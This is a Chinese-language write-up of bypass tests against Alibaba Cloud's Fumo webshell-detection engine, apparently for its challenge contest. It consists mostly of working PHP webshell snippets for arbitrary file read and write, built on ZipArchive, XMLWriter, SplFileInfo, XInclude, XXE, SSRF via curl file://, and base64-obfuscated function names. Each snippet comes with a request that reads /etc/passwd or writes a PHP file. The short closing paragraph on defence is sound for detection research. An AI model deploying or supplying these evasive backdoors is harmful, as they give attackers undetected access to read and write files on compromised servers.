记一次阿里云伏魔引擎-多功能场景绕过测试
字数 1088 2025-08-25 22:58:29
阿里云伏魔引擎多功能场景绕过测试技术解析
前言
阿里云伏魔挑战赛新增的多功能场景主要包括四大类:
- 任意文件读取
- 任意文件写入
- 服务器任意信息窃取类后门
- 网络代理类后门
本文重点解析任意文件读取和写入的免杀技术,主要采用三种思路:
- 寻找不常见且与文件相关的类或方法
- 利用漏洞实现文件读取(如XXE、SSRF及文件包含)
- 强制绕过常见文件读取与写入函数
一、非常规文件操作类与方法
1. 使用highlight_file & show_source读取文件
highlight_file函数示例:
$tmp = filter_input_array(2-1);
@highlight_file($tmp["file"]);
show_source函数示例(highlight_file的别名):
$tmp = filter_input_array(2-1);
@show_source($tmp["file"]);
2. ZipArchive类文件操作
任意文件写入技术
原理:将内容写入压缩包,再解压到目标目录
实现代码:
$zip = new ZipArchive();
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
if ($zip->open($zipTmpPath, ZipArchive::CREATE)!==TRUE) {
exit("cannot open <$zipTmpPath>\n");
}
$zip->addFromString($tmp["filename"], $tmp["content"]);
$zip->close();
if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>\n");
}
$flag = $zip->extractTo($tmp["filePath"]);
echo $flag?"success write: ".$tmp["filePath"]."/".$tmp["filename"]: "fail write";
$zip->close();
unlink($zipTmpPath);
利用方式(GET请求):
?tmpzip=/tmp/test.zip&filename=tgao.php&content=%3C%3Fphp%20phpinfo()%3B&filePath=/tmp
参数说明:
tmpzip:临时zip文件路径(需写权限)filename:压缩包内文件名(解压后同名)content:文件内容(URL编码)filePath:解压目标路径
任意文件读取技术
原理:将目标文件加入压缩包,读取压缩包内容
实现代码:
$tmp = filter_input_array(2-1);
$zipTmpPath = $tmp["tmpzip"];
$filename = $tmp["file"];
$zip = new ZipArchive();
if($zip -> open($zipTmpPath, ZipArchive::OVERWRITE)){
exit("cannot open <$zipTmpPath>\n");
}
$zip -> addFile($filename,basename($filename));
$zip->close();
if($zip->open($zipTmpPath) !== TRUE){
exit("cannot open <$zipTmpPath>\n");
}
echo $zip->getFromName(basename($filename));
$zip->close();
利用方式:
?tmpzip=/tmp/tgao.zip&file=/etc/passwd
3. XMLWriter类文件写入
标准类方法:
$tmp = filter_input_array(1);
$w = new XMLWriter();
$w->openUri($tmp["file"]);
$w->writeRaw($tmp["content"]);
过程式写法:
$tmp = filter_input_array(1);
$w = xmlwriter_open_uri($tmp["file"]);
xmlwriter_write_raw($w,$tmp["content"]);
利用方式:
?file=/tmp/test&content=hello
4. SplFileInfo类文件读取
实现代码:
$b = filter_input(1,"file");
$fileinfo = new SplFileInfo($b);
$fileobj = $fileinfo->openFile("r");
while (!$fileobj->eof()) {
echo $fileobj->fgets()."</br>";
}
利用方式:
?file=/etc/passwd
5. DOMDocument::xinclude文件读取
实现代码:
$a = filter_input(1,"file");;
$xml = <<<EOD
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="$a" parse="text"/>
</root>
EOD;
$dom = new DOMDocument;
$dom->preserveWhiteSpace = false;
$dom->formatOutput = true;
$dom->loadXML($xml);
$dom->xinclude();
echo $dom->saveXML();
利用方式:
?file=/etc/passwd
二、利用漏洞实现文件读取
1. XXE漏洞利用
SimpleXMLElement类构造XXE
实现代码:
$tmp = filter_input_array(1);
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$tmp["file"]."\"> ]> <root> <name>&xxe;</name> </root>";
$data = new SimpleXMLElement($xml,2);
echo $data->name;
SimpleXMLIterator类构造XXE
实现代码:
$tmp = filter_input_array(1);
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$tmp["file"]."\"> ]> <root> <name>&xxe;</name> </root>";
$data = new SimpleXMLIterator($xml,2);
echo $data->name;
simplexml_load_string构造XXE
实现代码:
$xml = filter_input(1,"file");
$xml = "<!DOCTYPE foo [ <!ENTITY xxe SYSTEM \"file:///".$xml."\"> ]> <root> <name>&xxe;</name> </root>";
$data = simplexml_load_string($xml,'SimpleXMLElement',LIBXML_NOENT);
echo $data->name;
通用利用方式:
?file=/etc/passwd
2. SSRF漏洞文件读取
实现代码:
$tmp = filter_input_array(1);
$url = "file:///".$tmp["file"];
if (function_exists('curl_init') && function_exists('curl_exec')) {
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$data = curl_exec($ch);
curl_close($ch);
echo $data;
}else{
echo "no curl extension";
}
利用方式:
?file=/etc/passwd
三、强制绕过常见文件操作函数
1. 使用iconv_mime_decode编码函数名
实现代码:
$read = iconv_mime_decode("=?UTF-8?B?ZnJlYWQ=?="); // 解码为"fread"
$open = iconv_mime_decode("=?UTF-8?B?Zm9wZW4=?="); // 解码为"fopen"
$size = iconv_mime_decode("=?UTF-8?B?ZmlsZXNpemU=?="); // 解码为"filesize"
$file = $_GET["file"];
$fp = $open($file, "r");
$str = $read($fp, $size($file));
echo $str;
利用方式:
?file=/etc/passwd
2. 使用iconv_mime_decode_headers编码file函数
实现代码:
$headers_string = <<<EOF
Subject: =?UTF-8?B?ZmlsZQ==?=
Received: from localhost (localhost [127.0.0.1]) by localhost
with SMTP id example for <example@example.com>;
Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
(envelope-from example-return-0000-example=example.com@example.com)
EOF;
$headers = iconv_mime_decode_headers($headers_string, 0, "");
$Subject = $headers["Subject"]; // 解码为"file"
$file_arr = $Subject($_GET["file"]);
foreach($file_arr as $value){
echo $value."<br />";
}
利用方式:
?file=/etc/passwd
总结
本文详细介绍了多种绕过阿里云伏魔引擎检测的文件操作技术,主要包括:
- 利用非常规PHP类和方法实现文件操作
- 通过XXE、SSRF等漏洞间接实现文件读取
- 使用编码技术绕过常见函数名的检测
这些技术展示了PHP环境下文件操作的多面性和灵活性,同时也提醒安全人员需要关注非常规的攻击向量。在实际防御中,应建立多层次的防护策略,不仅监控常见危险函数,还需关注各类文件操作类和潜在的漏洞利用方式。